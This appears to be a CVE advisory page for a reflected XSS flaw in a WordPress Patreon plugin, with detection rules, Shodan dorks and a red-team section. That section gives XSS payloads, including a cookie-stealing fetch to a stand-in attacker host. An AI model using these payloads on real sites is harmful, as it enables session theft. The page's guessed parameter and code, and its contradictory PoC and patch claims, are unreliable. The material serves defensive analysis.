☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Codebard logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 7.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-33928

CVE-2024-33928 Cross-Site Scripting in Codebard
📅 PUBLISHED: 2024-05-03 07:10 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
7.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-33928 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "CodeBard's Patron Button and Widgets for Patreon" (versions up to and including 2.2.0). This flaw allows an unauthenticated attacker to inject arbitrary JavaScript into a web page, which executes in the context of the victim's browser. The vulnerability stems from improper neutralization of user-supplied input during web page generation. Given that this is a WordPress plugin, the attack surface is broad, as WordPress sites using this plugin are directly exposed. No public proof-of-concept (PoC) or patch is currently available, increasing the risk for unpatched installations.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package. The supply chain risk is moderate: if the plugin is compromised at the source, all sites using it could be affected. However, the primary attack vector is direct exploitation of the XSS flaw on the target site.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.1 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must click a crafted link.
  • Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on service availability.

Threat Level: High. The low attack complexity and no privileges required make this an attractive target for phishing campaigns and drive-by attacks.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the WordPress plugin "CodeBard's Patron Button and Widgets for Patreon". The plugin likely takes user input from a URL parameter (e.g., ?patron=...) and reflects it directly into the HTML response without proper sanitization or encoding. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in their browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the victim.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), esc_attr()) when outputting user-supplied data. This allows arbitrary HTML/JavaScript injection.

Attack Flow:

  1. Attacker crafts a URL: https://victim-site.com/?patron=<script>alert('XSS')</script>
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin reflects the payload without sanitization.
  4. The browser executes the script, giving the attacker control.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely has code similar to:

Vulnerable Code (PHP):

<?php
$patron_name = $_GET['patron'];
echo "<div class='patron'>Welcome, $patron_name!</div>";
?>

Patched Code (Hypothetical):

<?php
$patron_name = isset($_GET['patron']) ? sanitize_text_field($_GET['patron']) : '';
echo "<div class='patron'>Welcome, " . esc_html($patron_name) . "!</div>";
?>

The patch would use esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Setup:

  1. Install a local WordPress instance with the vulnerable plugin (version 2.2.0).
  2. Identify the vulnerable parameter (likely patron or similar).
  3. Craft a payload.

Exploit Payload:

<script>alert(document.cookie)</script>

Full URL:

http://localhost/wordpress/?patron=<script>alert(document.cookie)</script>

Advanced Payload (Steal Cookies):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Usage: Send the crafted URL to the victim via phishing or social engineering.

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing <script> tags in query parameters.
  • Use WAF rules to block common XSS patterns.
  • Deploy CSP headers to mitigate impact.

Hunting:

  • Search for patron parameter in URL logs.
  • Look for unusual outbound connections from the web server.

Indicators of Compromise (IOCs)

  • URL Pattern: ?patron=<script>...
  • HTTP Request: GET request with patron parameter containing HTML/JavaScript.
  • Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
  • File Changes: No file changes on the server (reflected XSS).
  • Log Entries: Web server logs showing GET /?patron=<script>...

Detection Engineering

YARA Rule

rule Detect_Reflected_XSS_Patron_Plugin {
    meta:
        description = "Detects reflected XSS attempts against CodeBard Patron Button plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-33928"
    strings:
        $patron_param = "patron="
        $script_tag = "<script"
        $xss_payload = /patron=.*<script[^>]*>/
    condition:
        $patron_param and $script_tag and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against CodeBard Patron Plugin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts targeting the patron parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: 'patron='
        c-uri|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-33928 Reflected XSS Attempt"; flow:to_server; content:"patron="; http_uri; content:"<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is released.
  2. Implement a Web Application Firewall (WAF) rule to block requests containing <script> in the patron parameter.
  3. Add Content Security Policy (CSP) headers to restrict script execution.

Long-term Fix:

  • The vendor (Codebard) must release a patched version that properly sanitizes user input using esc_html() or esc_attr().
  • Users should update to the latest version once available.

Workaround:

  • If the plugin cannot be disabled, manually edit the plugin code to add sanitization (not recommended for non-developers).

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/patron-button-and-widgets-for-patreon"
http.html:"patron-button-and-widgets-for-patreon"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-33928/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.